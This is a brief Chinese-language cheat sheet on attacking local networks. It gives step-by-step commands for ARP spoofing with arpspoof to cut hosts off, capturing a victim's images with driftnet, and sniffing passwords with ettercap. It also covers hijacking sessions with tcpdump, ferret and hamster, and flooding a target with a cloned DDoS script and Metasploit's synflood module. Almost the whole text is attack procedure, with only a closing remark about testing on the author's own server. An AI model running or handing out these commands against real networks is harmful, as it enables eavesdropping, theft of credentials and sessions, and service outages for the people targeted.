局域网攻击

arp攻击

必要内容

安装arpspoof文件
apt-get install dsniff

1.检查以及获取网段
即查看局域网存活主机

fping -asg 192.168.1.1/24 
或者-->nmap -sP ip
扫描常用的端口-->nmap -F -sT -v nmap.org

注意点：
①攻击者的IP和被攻击者的IP需要在同一个网段中（即需要两个ip段可以连接ping通）
②默认的网卡必须是eth0
–>如

2.攻击方法

echo 1 >/proc/sys/net/ipv4/ip_forward
#即开启端口转发功能
arpspoof -i eth0 -t  192.168.1.1  192.168.1.104
#即 前面的IP是靶机的IP,后面的IP是攻击者的ip 即将该ip欺骗到其他上面的状况特点-->断网攻击
#arpspoof -i 网卡 -t  网关 目标IP
driftnet -i eth0 
#窃取受害者的图片
ettercap -Tq -i eth0
#ettercap -i 网卡 -Tq -M
#进行账号密码嗅探-->即抓取账号密码状况特点
tcpdump -i eth0 -w qq.cap
ferret -t qq.cap (64位下需要安装)
hamster
http://hamster
#session劫持

即arpspoo攻击成功后进行嗅探密码的状况特点

DOS/DDOS攻击

方法1

①安装ddos攻击模块

git clone https://github.com/Ha3MrX/DDos-Attack

②进入DDos-Attack且运行文件

cd DDos-Attack
ls
python  ddos-attack.py 

③输入目标的ip以及端口即可以进行攻击

方法2

利用Metasploit模块进行实现

#进入msf模块中
msfconsole
#进入潮汐攻击目录
use auxiliary/dos/tcp/synflood
set rhost 目标服务器
#执行
exploit

如 把自己的服务器拿来做测试做的一个小的攻击